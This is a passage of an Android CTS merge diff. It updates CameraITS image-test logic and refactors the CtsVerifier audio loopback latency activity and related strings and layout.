Merge "Fix CTS for updated Wear custom resolver UI" am: 9ec592f109 am: b1d19cf18f

Original change: https://android-review.googlesource.com/c/platform/cts/+/1812376

Change-Id: Ica408e3e8384069399f293e7c27d9d7da32dab4e
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index e3336a6..0c35230 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -88,6 +88,11 @@
                     'RGB means: %s, expected: %s, ATOL: %d',
                     color, str(rgb_means), str(exp_values), _BW_CH_ATOL)
       test_fail = True
+    if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
+      logging.error('Image has too much variance for color %s. '
+                    'RGB variances: %s, ATOL: %d',
+                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
+      test_fail = True
   else:
     exp_values_mask = np.array(exp_values)//255
     primary = max(rgb_means*exp_values_mask)
@@ -101,14 +106,18 @@
       logging.error('Secondary colors too bright in %s. '
                     'RGB means: %s, expected: %s, MAX: %d',
                     color, str(rgb_means), str(exp_values), _RGB_SECONDARY_MAX)
+
+    primary_rgb_vars = max(rgb_vars*exp_values_mask)
+    secondary_rgb_vars = max((1-exp_values_mask)*rgb_vars)
+    if primary_rgb_vars > _CH_VARIANCE_ATOL:
+      logging.error('Image primary color has too much variance for %s. '
+                    'RGB variances: %s, ATOL: %d',
+                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
       test_fail = True
-
-  if not all(i < _CH_VARIANCE_ATOL for i in rgb_vars):
-    logging.error('Image has too much variance for color %s. '
-                  'RGB variances: %s, ATOL: %d',
-                  color, str(rgb_vars), _CH_VARIANCE_ATOL)
-    test_fail = True
-
+    elif secondary_rgb_vars > _CH_VARIANCE_ATOL:
+      logging.error('Image secondary color has too much variance for %s. '
+                    'RGB variances: %s, ATOL: %d',
+                    color, str(rgb_vars), _CH_VARIANCE_ATOL)
   return test_fail
 
 
diff --git a/apps/CameraITS/tests/scene1_1/test_crop_regions.py b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
index 148d863..77e35ed 100644
--- a/apps/CameraITS/tests/scene1_1/test_crop_regions.py
+++ b/apps/CameraITS/tests/scene1_1/test_crop_regions.py
@@ -17,14 +17,13 @@
 import logging
 import os.path
 
-from mobly import test_runner
-import numpy as np
-
-import its_base_test
 import camera_properties_utils
 import capture_request_utils
 import image_processing_utils
+import its_base_test
 import its_session_utils
+from mobly import test_runner
+import numpy as np
 import target_exposure_utils
 
 # 5 regions specified in normalized (x, y, w, h) coords.
@@ -64,7 +63,7 @@
       ax, ay = a['left'], a['top']
       aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
       e, s = target_exposure_utils.get_target_exposure_combos(
-          props, cam)['minSensitivity']
+          log_path, cam)['minSensitivity']
       logging.debug('Active sensor region (%d,%d %dx%d)', ax, ay, aw, ah)
 
       # Uses a 2x digital zoom.
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d.png b/apps/CameraITS/tests/scene2_d/scene2_d.png
index e2a33e7..5365f3f 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
index df700c3..21b068b 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
index 672ea30..30d6813 100644
--- a/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
+++ b/apps/CameraITS/tests/scene2_d/scene2_d_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e.png b/apps/CameraITS/tests/scene2_e/scene2_e.png
index b9554b3..c64f47b 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
index 92e3444..7dbb41a 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.5x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
index d8cca5c..4ee532c 100644
--- a/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
+++ b/apps/CameraITS/tests/scene2_e/scene2_e_0.67x_scaled.png
Binary files differ
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 657f20c..1a43788 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -216,7 +216,15 @@
     fd = float(cap_raw['metadata']['android.lens.focalLength'])
     k = camera_properties_utils.get_intrinsic_calibration(props, True, fd)
     opencv_dist = camera_properties_utils.get_distortion_matrix(props)
-    img_raw = cv2.undistort(img_raw, k, opencv_dist)
+    k_new = cv2.getOptimalNewCameraMatrix(
+        k, opencv_dist, (img_raw.shape[1], img_raw.shape[0]), 0)[0]
+    scale = max(k_new[0][0] / k[0][0], k_new[1][1] / k[1][1])
+    if scale > 1:
+      k_new[0][0] = k[0][0] * scale
+      k_new[1][1] = k[1][1] * scale
+      img_raw = cv2.undistort(img_raw, k, opencv_dist, None, k_new)
+    else:
+      img_raw = cv2.undistort(img_raw, k, opencv_dist)
 
   # Get image size.
   size_raw = img_raw.shape
diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py
index 117ba21..dcdf731 100644
--- a/apps/CameraITS/utils/camera_properties_utils.py
+++ b/apps/CameraITS/utils/camera_properties_utils.py
@@ -737,7 +737,7 @@
     Boolean. True if android.control.postRawSensitivityBoost is supported.
   """
   return (
-      'android.control.postRawSensitivityBoostRange' in props.keys() and
+      'android.control.postRawSensitivityBoostRange' in props['camera.characteristics.keys'] and
       props.get('android.control.postRawSensitivityBoostRange') != [100, 100])
 
 
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
index c041e24..23432f1 100644
--- a/apps/CameraITS/utils/image_processing_utils.py
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -23,14 +23,13 @@
 import sys
 import unittest
 
+import capture_request_utils
+import cv2
+import error_util
 import numpy
 from PIL import Image
 
 
-import cv2
-import capture_request_utils
-import error_util
-
 # The matrix is from JFIF spec
 DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([[1.000, 0.000, 1.402],
                                        [1.000, -0.344, -0.714],
@@ -347,6 +346,40 @@
     raise error_util.CameraItsError('Invalid format %s' % (cap['format']))
 
 
+def downscale_image(img, f):
+  """Shrink an image by a given integer factor.
+
+  This function computes output pixel values by averaging over rectangular
+  regions of the input image; it doesn't skip or sample pixels, and all input
+  image pixels are evenly weighted.
+
+  If the downscaling factor doesn't cleanly divide the width and/or height,
+  then the remaining pixels on the right or bottom edge are discarded prior
+  to the downscaling.
+
+  Args:
+    img: The input image as an ndarray.
+    f: The downscaling factor, which should be an integer.
+
+  Returns:
+    The new (downscaled) image, as an ndarray.
+  """
+  h, w, chans = img.shape
+  f = int(f)
+  assert f >= 1
+  h = (h//f)*f
+  w = (w//f)*f
+  img = img[0:h:, 0:w:, ::]
+  chs = []
+  for i in range(chans):
+    ch = img.reshape(h*w*chans)[i::chans].reshape(h, w)
+    ch = ch.reshape(h, w//f, f).mean(2).reshape(h, w//f)
+    ch = ch.T.reshape(w//f, h//f, f).mean(2).T.reshape(h//f, w//f)
+    chs.append(ch.reshape(h*w//(f*f)))
+  img = numpy.vstack(chs).T.reshape(h//f, w//f, chans)
+  return img
+
+
 def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
                              cap_res):
   """Convert a Bayer raw-16 image to an RGB image.
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 69bad61..6cc692b 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -557,29 +557,17 @@
 class Cv2ImageProcessingUtilsTests(unittest.TestCase):
   """Unit tests for this module."""
 
-  def test_get_angle_identify_unrotated_chessboard_angle(self):
-    normal_img_path = os.path.join(
-        TEST_IMG_DIR, 'rotated_chessboards/normal.jpg')
-    wide_img_path = os.path.join(
-        TEST_IMG_DIR, 'rotated_chessboards/wide.jpg')
-    normal_img = cv2.cvtColor(cv2.imread(normal_img_path), cv2.COLOR_BGR2GRAY)
-    wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
-    normal_angle = get_angle(normal_img)
-    wide_angle = get_angle(wide_img)
-    e_msg = f'Angle: 0, Regular: {normal_angle}, Wide: {wide_angle}'
-    self.assertEqual(get_angle(normal_img), 0, e_msg)
-    self.assertEqual(get_angle(wide_img), 0, e_msg)
-
   def test_get_angle_identify_rotated_chessboard_angle(self):
     # Array of the image files and angles containing rotated chessboards.
     test_cases = [
-        ('_15_ccw', 15),
-        ('_30_ccw', 30),
-        ('_45_ccw', 45),
-        ('_60_ccw', 60),
-        ('_75_ccw', 75),
-        ('_90_ccw', 90)
+        ('', 0),
+        ('_15_ccw', -15),
+        ('_30_ccw', -30),
+        ('_45_ccw', -45),
+        ('_60_ccw', -60),
+        ('_75_ccw', -75),
     ]
+    test_fails = ''
 
     # For each rotated image pair (normal, wide), check angle against expected.
     for suffix, angle in test_cases:
@@ -594,13 +582,21 @@
       wide_img = cv2.cvtColor(cv2.imread(wide_img_path), cv2.COLOR_BGR2GRAY)
 
       # Assert angle as expected.
-      normal_angle = get_angle(normal_img)
-      wide_angle = get_angle(wide_img)
-      e_msg = f'Angle: {angle}, Regular: {normal_angle}, Wide: {wide_angle}'
-      self.assertTrue(
-          numpy.isclose(abs(normal_angle), angle, ANGLE_CHECK_TOL), e_msg)
-      self.assertTrue(
-          numpy.isclose(abs(wide_angle), angle, ANGLE_CHECK_TOL), e_msg)
+      normal = get_angle(normal_img)
+      wide = get_angle(wide_img)
+      valid_angles = (angle, angle+90)  # try both angle & +90 due to squares
+      e_msg = (f'\n Rotation angle test failed: {angle}, extracted normal: '
+               f'{normal:.2f}, wide: {wide:.2f}, valid_angles: {valid_angles}')
+      matched_angles = False
+      for a in valid_angles:
+        if (math.isclose(normal, a, abs_tol=ANGLE_CHECK_TOL) and
+            math.isclose(wide, a, abs_tol=ANGLE_CHECK_TOL)):
+          matched_angles = True
+
+      if not matched_angles:
+        test_fails += e_msg
+
+    self.assertEqual(len(test_fails), 0, test_fails)
 
 
 if __name__ == '__main__':
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
deleted file mode 100644
index 1795c46..0000000
--- a/apps/CtsVerifier/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-#
-# Creates a "cts-verifier" directory that will contain:
-#
-# 1. Out directory with a "android-cts-verifier" containing the CTS Verifier
-#    and other binaries it needs.
-#
-# 2. Zipped version of the android-cts-verifier directory to be included with
-#    the build distribution.
-#
-cts-dir := $(HOST_OUT)/cts-verifier
-verifier-dir-name := android-cts-verifier
-verifier-dir := $(cts-dir)/$(verifier-dir-name)
-verifier-zip-name := $(verifier-dir-name).zip
-verifier-zip := $(cts-dir)/$(verifier-zip-name)
-
-cts : $(verifier-zip)
-$(verifier-zip): PRIVATE_DIR := $(cts-dir)
-$(verifier-zip): $(SOONG_ANDROID_CTS_VERIFIER_ZIP)
-	rm -rf $(PRIVATE_DIR)
-	mkdir -p $(PRIVATE_DIR)
-	unzip -q -d $(PRIVATE_DIR) $<
-	$(copy-file-to-target)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 9431476..fdb372f 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -5482,6 +5482,15 @@
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telecom"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+            <meta-data
+                android:name="test_required_configs"
+                android:value="config_voice_capable"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
index ed4ca46..9d9631a 100644
--- a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
@@ -48,6 +48,23 @@
                     <TextView
                         android:layout_width="wrap_content"
                         android:layout_height="match_parent"
+                        android:text="Test Path:"/>
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
+                        android:text=""
+                        android:id="@+id/audio_loopback_testpath"/>
+                </LinearLayout>
+
+                <LinearLayout
+                    android:orientation="horizontal"
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content">
+
+                    <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="match_parent"
                         android:text="Pro Audio:"/>
 
                     <TextView
@@ -116,23 +133,6 @@
                     <TextView
                         android:layout_width="wrap_content"
                         android:layout_height="match_parent"
-                        android:text="Test Path:"/>
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="match_parent"
-                        android:text=""
-                        android:id="@+id/audio_loopback_testpath"/>
-                </LinearLayout>
-
-                <LinearLayout
-                    android:orientation="horizontal"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content">
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="match_parent"
                         android:text="Required Max Latency (ms):"/>
 
                     <TextView
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 7f9e132..b6b46f5 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -15,6 +15,7 @@
 -->
 <resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
     <string name="app_name">CTS Verifier</string>
+    <string name="module_id">noabi CtsVerifier</string>
 
     <string name="title_version">CTS Verifier %1$s</string>
 
@@ -875,7 +876,8 @@
     <string name="ibo_test">Ignore Battery Optimizations Test</string>
     <string name="ibo_test_info">
         This test verifies that the device provides a user affordance to ask the user if the system
-        should disable battery optimizations for an app.
+        should disable battery optimizations for an app and to allow a user to remove the app from
+        the exemption list.
     </string>
     <string name="ibo_test_start_unexempt_app">
         Remove the test app from the ignore battery optimizations list to begin the test. (Try going
@@ -887,8 +889,9 @@
     <string name="ibo_next_to_confirm">Press next to confirm.</string>
     <string name="ibo_app_not_exempted">The app is not exempted from battery optimizations.</string>
     <string name="ibo_unexempt_app">
-        Remove the test app from the ignore battery optimizations list. (Try going
-        to the App Info page and make sure the system is optimizing battery for the app.)
+        Remove the test app from the ignore battery optimizations list. (Either run \"adb shell cmd
+        deviceidle whitelist -com.android.cts.verifier\" or open the list of apps and their
+        exemption statuses. Find the test app in the list and remove the app\'s exemption.)
     </string>
     <string name="ibo_app_is_exempted">The app is exempted from battery optimizations.</string>
     <string name="ibo_exempt_app_list">
@@ -5086,8 +5089,8 @@
         To pass the test, the device need only achieve this on one of the following audio paths:\n
           - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a 3.5mm headset jack.\n
           - a <a href="https://source.android.com/devices/audio/latency/loopback">Loopback Plug</a>  connected to a USB audio adapter.\n
-          - a USB interface with patch cords connecting the input and output jacks.\n
-          Please connect one of these Loopback mechanisms, and proceed with the instructions
+          - a USB interface with patch cords connecting the input and output jacks.
+          \nPlease connect one of these Loopback mechanisms, and proceed with the instructions
           on the screen. The required &amp; recommended latencies will be displayed.
           The system will measure the input-output audio latency by injecting an audio signal to
           the output and compute the time between generating the signal and recording it back.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
index 3c43953..c1e43e1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsReport.java
@@ -19,35 +19,26 @@
 import android.content.Context;
 import android.os.Build;
 import android.text.TextUtils;
-import android.util.Xml;
 
 import com.android.compatibility.common.util.DevicePropertyInfo;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.IModuleResult;
-import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ITestResult;
-import com.android.compatibility.common.util.MetricsXmlSerializer;
+import com.android.compatibility.common.util.InvocationResult;
 import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.TestResultHistory;
 import com.android.compatibility.common.util.TestStatus;
 import com.android.cts.verifier.TestListActivity.DisplayMode;
 import com.android.cts.verifier.TestListAdapter.TestListItem;
 
-import org.xmlpull.v1.XmlSerializer;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
 import java.text.DateFormat;
 import java.text.SimpleDateFormat;
-import java.util.Arrays;
 import java.util.ArrayList;
-import java.util.Date;
-import java.util.HashMap;
+import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
-import java.util.Map;
 import java.util.Map.Entry;
 import java.util.Set;
 
@@ -72,7 +63,6 @@
     private static final String TEST_TAG = "test";
     private static final String TEST_DETAILS_TAG = "details";
 
-    private static final String MODULE_ID = "noabi CtsVerifier";
     private static final String TEST_CASE_NAME = "manualTests";
 
     private final Context mContext;
@@ -91,7 +81,8 @@
         String versionBaseOs = null;
         String versionSecurityPatch = null;
         IInvocationResult result = new InvocationResult();
-        IModuleResult moduleResult = result.getOrCreateModule(MODULE_ID);
+        IModuleResult moduleResult = result.getOrCreateModule(
+                mContext.getResources().getString(R.string.module_id));
 
         // Collect build fields available in API level 21
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
index 9af7e14..c530806 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java
@@ -150,6 +150,7 @@
         }
 
         mRecorder.stopStream();
+        mRecorder.teardownStream();
 
         mIsTestRunning = false;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
index 0b07e49..78e34d3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -26,6 +26,7 @@
 import android.os.Message;
 import android.util.Log;
 import android.view.View;
+import android.view.View.OnClickListener;
 import android.view.ViewGroup;
 import android.widget.Button;
 import android.widget.ProgressBar;
@@ -77,6 +78,9 @@
     ProgressBar mProgressBar;
     int mMaxLevel;
 
+    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+    protected Button mTestButton;
+
     String mYesString;
     String mNoString;
 
@@ -94,6 +98,7 @@
     AudioDeviceInfo mOutputDevInfo;
     AudioDeviceInfo mInputDevInfo;
 
+    protected static final int TESTPERIPHERAL_INVALID       = -1;
     protected static final int TESTPERIPHERAL_NONE          = 0;
     protected static final int TESTPERIPHERAL_ANALOG_JACK   = 1;
     protected static final int TESTPERIPHERAL_USB           = 2;
@@ -222,9 +227,16 @@
         }
     }
 
-    protected void calculateTestPeripheral() {
+    private void calculateTestPeripheral() {
         if (!mIsPeripheralAttached) {
-            mTestPeripheral = TESTPERIPHERAL_DEVICE;
+            if ((mOutputDevInfo != null && mInputDevInfo == null)
+                || (mOutputDevInfo == null && mInputDevInfo != null)) {
+                mTestPeripheral = TESTPERIPHERAL_INVALID;
+            } else {
+                mTestPeripheral = TESTPERIPHERAL_DEVICE;
+            }
+        } else if (!areIODevicesOnePeripheral()) {
+            mTestPeripheral = TESTPERIPHERAL_INVALID;
         } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
                 mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
             mTestPeripheral = TESTPERIPHERAL_USB;
@@ -238,21 +250,25 @@
         }
     }
 
-    protected boolean isPeripheralValidForTest() {
+    private boolean isPeripheralValidForTest() {
         return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
-                || mTestPeripheral == TESTPERIPHERAL_USB;
-
+                    || mTestPeripheral == TESTPERIPHERAL_USB;
     }
-    protected void showConnectedAudioPeripheral() {
+
+    private void showConnectedAudioPeripheral() {
         mInputDeviceTxt.setText(
                 mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
-                        : "");
+                        : "Not connected");
         mOutputDeviceTxt.setText(
                 mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
-                        : "");
+                        : "Not connected");
 
         String pathName;
         switch (mTestPeripheral) {
+            case TESTPERIPHERAL_INVALID:
+                pathName = "Invalid Test Peripheral";
+                break;
+
             case TESTPERIPHERAL_ANALOG_JACK:
                 pathName = "Headset Jack";
                 break;
@@ -271,6 +287,18 @@
                 break;
         }
         mTestPathTxt.setText(pathName);
+        mTestButton.setEnabled(
+                mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
+
+    }
+
+    private boolean areIODevicesOnePeripheral() {
+        if (mOutputDevInfo == null || mInputDevInfo == null) {
+            return false;
+        }
+
+        return mOutputDevInfo.getProductName().toString().equals(
+                mInputDevInfo.getProductName().toString());
     }
 
     private void calculateLatencyThresholds() {
@@ -352,6 +380,8 @@
     private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
     private static final String KEY_TEST_MMAP = "supports_mmap";
     private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
+    private static final String KEY_LEVEL = "level";
+    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
 
     @Override
     public String getTestId() {
@@ -435,18 +465,18 @@
                     ResultType.NEUTRAL,
                     ResultUnit.NONE);
         }
-    }
 
-    private static final String KEY_LOOPBACK_AVAILABLE = "loopback_available";
-    private void recordLoopbackStatus(boolean has) {
-        getReportLog().addValue(
-                KEY_LOOPBACK_AVAILABLE,
-                has,
+        int audioLevel = mAudioLevelSeekbar.getProgress();
+        reportLog.addValue(
+                KEY_LEVEL,
+                audioLevel,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
+
+        reportLog.submit();
     }
 
-    protected void startAudioTest(Handler messageHandler) {
+    private void startAudioTest(Handler messageHandler) {
         getPassButton().setEnabled(false);
 
         mTestPhase = 0;
@@ -478,12 +508,18 @@
         }
     }
 
-    protected void handleTestCompletion() {
+    private void handleTestCompletion() {
         mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
         mMeanAbsoluteDeviation =
                 StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
         mMeanConfidence = StatUtils.calculateMean(mConfidence);
 
+        boolean pass = isPeripheralValidForTest()
+                && mMeanConfidence >= CONFIDENCE_THRESHOLD
+                && mMeanLatencyMillis > EPSILON
+                && mMeanLatencyMillis < mMustLatency;
+
+        getPassButton().setEnabled(pass);
 
         String result;
         if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
@@ -492,10 +528,11 @@
                     mMeanConfidence, CONFIDENCE_THRESHOLD);
         } else {
             result = String.format(
-                    "Test Finished\nMean Latency:%.2f ms (required:%.2f)\n" +
+                    "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
                             "Mean Absolute Deviation: %.2f\n" +
                             " Confidence: %.2f\n" +
                             " Low Latency Path: %s",
+                    (pass ? "PASS" : "FAIL"),
                     mMeanLatencyMillis,
                     mMustLatency,
                     mMeanAbsoluteDeviation,
@@ -512,9 +549,14 @@
             }
         }
         mResultText.setText(result);
+
+        recordTestResults();
+
+        showWait(false);
+        mTestButton.setEnabled(true);
     }
 
-    protected void handleTestPhaseCompletion() {
+    private void handleTestPhaseCompletion() {
         if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
             mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
             mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
@@ -545,7 +587,7 @@
     /**
      * handler for messages from audio thread
      */
-    protected Handler mMessageHandler = new Handler() {
+    private Handler mMessageHandler = new Handler() {
         public void handleMessage(Message msg) {
             super.handleMessage(msg);
             switch(msg.what) {
@@ -588,6 +630,12 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        setContentView(R.layout.audio_loopback_latency_activity);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+
         mClaimsOutput = AudioSystemFlags.claimsOutput(this);
         mClaimsInput = AudioSystemFlags.claimsInput(this);
         mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
@@ -611,6 +659,9 @@
 
         mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
 
+        mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
+        mTestButton.setOnClickListener(mBtnClickListener);
+
         mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
 
         mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
@@ -620,4 +671,16 @@
         calculateLatencyThresholds();
         displayLatencyThresholds();
     }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_loopback_test_btn:
+                    Log.i(TAG, "audio loopback test");
+                    startAudioTest(mMessageHandler);
+                    break;
+            }
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
index f808073..9490091 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackLatencyActivity.java
@@ -16,116 +16,9 @@
 
 package com.android.cts.verifier.audio;
 
-import android.os.Bundle;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.R;
-
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
-
 /**
  * Tests Audio Device roundtrip latency by using a loopback plug.
  */
 public class AudioLoopbackLatencyActivity extends AudioLoopbackBaseActivity {
     private static final String TAG = AudioLoopbackLatencyActivity.class.getSimpleName();
-
-//    public static final int BYTES_PER_FRAME = 2;
-
-    private int mMinBufferSizeInFrames = 0;
-
-    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-
-    Button mTestButton;
-
-    // ReportLog Schema
-    private static final String KEY_LEVEL = "level";
-    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.audio_loopback_test_btn:
-                    Log.i(TAG, "audio loopback test");
-                    startAudioTest();
-                    break;
-            }
-        }
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        // we need to do this first so that the layout is inplace when the super-class inits
-        setContentView(R.layout.audio_loopback_latency_activity);
-
-        mTestButton =(Button)findViewById(R.id.audio_loopback_test_btn);
-        mTestButton.setOnClickListener(mBtnClickListener);
-
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
-
-        super.onCreate(savedInstanceState);
-    }
-
-    protected void startAudioTest() {
